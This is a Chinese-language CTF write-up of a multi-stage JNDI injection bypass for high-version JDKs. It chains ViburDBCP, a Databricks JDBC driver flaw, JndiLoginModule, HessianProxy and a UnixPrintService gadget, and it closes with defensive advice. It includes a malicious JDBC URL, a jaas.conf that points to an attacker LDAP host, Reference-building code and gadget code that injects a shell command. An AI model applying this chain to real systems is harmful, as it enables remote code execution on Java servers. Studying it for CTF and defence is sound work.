2026阿里CTF MHGA题解:基于ViburDBCP与HessianProxy的JNDI注入高版本绕过研究
字数 3549
更新时间 2026-03-27 06:09:29

高版本JDK环境下JNDI注入绕过技术研究

基于ViburDBCP与HessianProxy的利用链分析


1. 技术背景与问题核心

1.1 JNDI注入机制演变

JNDI(Java Naming and Directory Interface)注入是一种通过恶意命名服务(如LDAP、RMI)加载并执行远程代码的攻击手段。其核心漏洞点在于InitialContext.lookup()方法在解析恶意URL时,会自动从攻击者控制的服务器加载并实例化类。

高低版本JDK的关键差异

特性 低版本JDK(如8u65) 高版本JDK(如8u201+、11+)
trustURLCodebase属性 无此限制或默认允许 默认设置为false
远程类加载 允许从codebase指定地址加载任意类 禁止加载远程的序列化对象工厂类
绕过方式 直接远程类加载+实例化RCE 需寻找本地ObjectFactory实现类,调用其getObjectInstance()方法实现RCE

高版本绕过原理
javax.naming.spi.NamingManager#getObjectFactoryFromReference方法中,高版本JDK因trustURLCodebase=false而无法从远程获取ObjectFactory实例。但攻击流程并未终止,系统会转而尝试从本地类路径加载并实例化一个实现了javax.naming.spi.ObjectFactory接口的类,并调用其getObjectInstance()方法。因此,攻击的关键转变为寻找一个存在于目标类路径中、且getObjectInstance()方法存在可利用逻辑的ObjectFactory实现类


2. 漏洞利用链组件详解

2.1 第一环节:ViburDBCPObjectFactory

ViburDBCP是一个数据库连接池库。其org.vibur.dbcp.ViburDBCPObjectFactory类实现了ObjectFactory接口。

利用路径分析

  1. 入口ViburDBCPObjectFactory.getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)
  2. 关键调用:在该方法内部,会根据传入的参数创建并配置一个ViburDBCPDataSource数据源对象,并调用其start()方法。
  3. 触发JDBC连接:在start()方法的执行过程中,会初始化连接池,从而触发JDBC连接。连接字符串(jdbcUrl)及属性完全由攻击者通过JNDI Reference(如StringRefAddr)控制。

调用栈示意

ViburDBCPObjectFactory.getObjectInstance()
-> ViburDBCPDataSource.start()
-> ViburDBCPDataSource.doStart()
-> ConcurrentPool.<init>()
-> ConnectionFactory.create()
-> Connector$Builder$Driver.connect()  // 发起可控的JDBC连接

至此,攻击实现了从JNDI注入到可控JDBC连接的转换

2.2 第二环节:CVE-2024-49194 (Databricks JDBC驱动JNDI注入)

该漏洞允许通过JDBC连接字符串中的参数,触发第二次JNDI注入。

利用条件与过程

  1. 驱动:使用Databricks JDBC驱动。
  2. 恶意JDBC URL构造示例
    jdbc:databricks://attacker-host:443/default;transportMode=http;ssl=1;httpPath=/sql/1.0/endpoints/12345;AuthMech=1;krbHostFQDN=localhost;krbServiceName=spark;krbJAASFile=http://127.0.0.1:8888/jaas.conf
    
    关键参数为krbJAASFile,其值指向一个攻击者控制的HTTP服务器上的JAAS配置文件。
  3. 恶意JAAS配置文件 (jaas.conf)
    Client {
      com.sun.security.auth.module.JndiLoginModule required
      user.provider.url="ldap://attacker-ldap-host:1389/Exploit"
      group.provider.url="test"
      tryFirstPass="true";
    };
    
  4. 触发流程
    • Databricks驱动在建立连接时,会解析krbJAASFile指向的URL,下载并读取该JAAS配置文件。
    • 配置中指定了JndiLoginModule,并设置了user.provider.url为一个恶意LDAP地址。
    • 在驱动初始化认证模块的过程中,JndiLoginModule会执行lookup(user.provider.url),从而触发第二次JNDI注入

关键调用路径(简化):

DriverManager.getConnection(malicious_jdbc_url)
-> ... (驱动内部解析与配置)
-> JndiLoginModule.initialize()
-> JndiLoginModule.login()
-> JndiLoginModule.attemptAuthentication()
-> InitialContext.lookup(attacker_ldap_url) // 第二次JNDI注入

至此,攻击链实现了 JDBC连接 -> JNDI注入 的回环

2.3 第三环节:HessianProxyFactory 反序列化

为了在第二次JNDI注入中执行代码,需要找到一个新的ObjectFactory作为跳板。这里利用了Hessian序列化框架中的com.caucho.hessian.client.HessianProxyFactory

利用条件

  1. 类要求HessianProxyFactory实现了javax.naming.spi.ObjectFactory接口。
  2. 方法触发:其getObjectInstance()方法会调用create()方法,最终创建一个动态代理对象(HessianProxy)。
  3. 关键点:动态代理对象(HessianProxy)的任何方法调用都会进入invoke方法。在invoke方法中,会向Reference中配置的URL发起Hessian协议请求,并反序列化服务器返回的响应流

构造恶意Reference

// 注意:type必须设置为`javax.naming.directory.DirContext`,以匹配后续的`search`方法调用
Reference ref = new Reference("javax.naming.directory.DirContext", "com.caucho.hessian.client.HessianProxyFactory", null);
ref.add(new StringRefAddr("type", "javax.naming.directory.DirContext"));
ref.add(new StringRefAddr("url", "http://attacker-hessian-host/hessian")); // 攻击者控制的Hessian服务端

触发反序列化
在第二次JNDI lookup之后,题目代码通常会对返回的对象进行类型转换并调用其search方法。由于设置了typeDirContextlookup返回的对象可被强转为DirContext,进而调用search()方法。这个search()调用会触发HessianProxy.invoke(),向url地址发起请求,并反序列化返回的数据,从而执行Hessian反序列化链。

至此,攻击链实现了 JNDI注入 -> Hessian反序列化 的转换


3. 最终环节:高版本JDK反序列化绕过 (trustSerialData)

在JDK 11.0.29+等高版本中,com.sun.jndi.ldap.ObjecttrustSerialData属性默认为false,这会阻止在decodeObject过程中反序列化潜在的恶意对象,即使通过Hessian协议传入也会被拦截。

绕过方案
利用一条不依赖传统TemplatesImplBCEL的、在JDK内部类中存在的利用链。文中示例使用了UnixPrintService链。

利用链构造核心

Hessian2Input.readObject()
-> POJONode.toString() (Jackson库)
-> UnixPrintService.getXXX() (通过getter方法触发命令执行)

关键步骤代码示意

// 1. 利用Unsafe机制,绕过构造函数实例化UnixPrintService
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Method allocateInstance = unsafeClass.getMethod("allocateInstance", Class.class);

Class<?> unixPrintServiceClass = Class.forName("sun.print.UnixPrintService");
Object service = allocateInstance.invoke(unsafe, unixPrintServiceClass);

// 2. 通过反射注入恶意命令到关键字段
setFieldValue(service, "printer", ";open -a calculator"); // 注入命令
setFieldValue(service, "isInvalid", false); // 确保服务状态有效

// 3. 将恶意service对象封装进POJONode,构造完整的Hessian序列化数据
POJONode node = new POJONode(service);
// ... 后续将node对象序列化为Hessian格式,并部署到攻击者控制的Hessian服务端

漏洞触发
当受害服务器通过Hessian协议请求恶意服务端时,会收到此序列化数据。在反序列化过程中,会触发POJONode.toString(),进而调用UnixPrintServicegetPrinter()等方法,最终导致注入的命令在getPrinterIsAcceptingJobs()等方法的实现中被执行。


4. 完整攻击链总结

攻击者需要搭建三个服务,并按照以下顺序触发漏洞:

  1. 搭建恶意LDAP服务(如JNDIExploit):配置Reference指向ViburDBCPObjectFactory,并附带恶意的JDBC连接参数。
  2. 搭建恶意HTTP服务:托管包含指向第二个LDAP服务的jaas.conf文件。
  3. 搭建第二个恶意LDAP服务:配置Reference指向HessianProxyFactory,并附带连接恶意Hessian服务端的参数。
  4. 搭建恶意Hessian服务端:返回精心构造的、包含UnixPrintService利用链的序列化载荷。

完整调用流程

1. 受害者应用: InitialContext.lookup("ldap://attacker1:1389/Exploit1")
2. -> 攻击者LDAP1: 返回指向`ViburDBCPObjectFactory`的Reference,其中jdbcUrl指向Databricks驱动+恶意jaas.conf地址。
3. -> ViburDBCPObjectFactory.getObjectInstance(): 触发JDBC连接。
4. -> Databricks驱动: 读取`krbJAASFile=http://attacker-http/jaas.conf`。
5. -> 攻击者HTTP服务: 返回`jaas.conf`,其中`user.provider.url="ldap://attacker2:1389/Exploit2"`。
6. -> JndiLoginModule: 触发第二次lookup("ldap://attacker2:1389/Exploit2")。
7. -> 攻击者LDAP2: 返回指向`HessianProxyFactory`的Reference,其中url指向恶意Hessian服务端。
8. -> HessianProxyFactory.getObjectInstance(): 创建代理对象并返回。
9. -> 受害者应用: 对返回对象调用search()方法。
10. -> HessianProxy.invoke(): 向`http://attacker-hessian/hessian`发起请求。
11. -> 攻击者Hessian服务端: 返回恶意的Hessian序列化数据(包含UnixPrintService链)。
12. -> 受害者Hessian反序列化: 触发POJONode -> UnixPrintService链,执行系统命令。

5. 防御建议

  1. 升级JDK:始终使用最新版本的JDK,并及时安装安全补丁。
  2. 代码审查:避免在代码中使用不可信的JNDI查找参数,尤其是来自用户输入或网络请求的参数。
  3. 网络限制:在生产环境中,严格限制服务器对外发起网络连接的能力(出站防火墙规则),特别是非常用端口的LDAP、RMI、HTTP请求。
  4. 依赖管理:审计并移除不必要的、存在已知风险的第三方依赖库(如特定版本的数据库驱动、连接池、序列化框架)。
  5. 安全配置:在JDK高版本中,确保com.sun.jndi.ldap.object.trustSerialData属性设置为false(默认值),切勿将其改为true
  6. 运行时防护:考虑使用RASP(运行时应用自保护)或安全Agent对危险的JNDI查找、类加载、反序列化等操作进行监控和拦截。
相似文章
相似文章
 全屏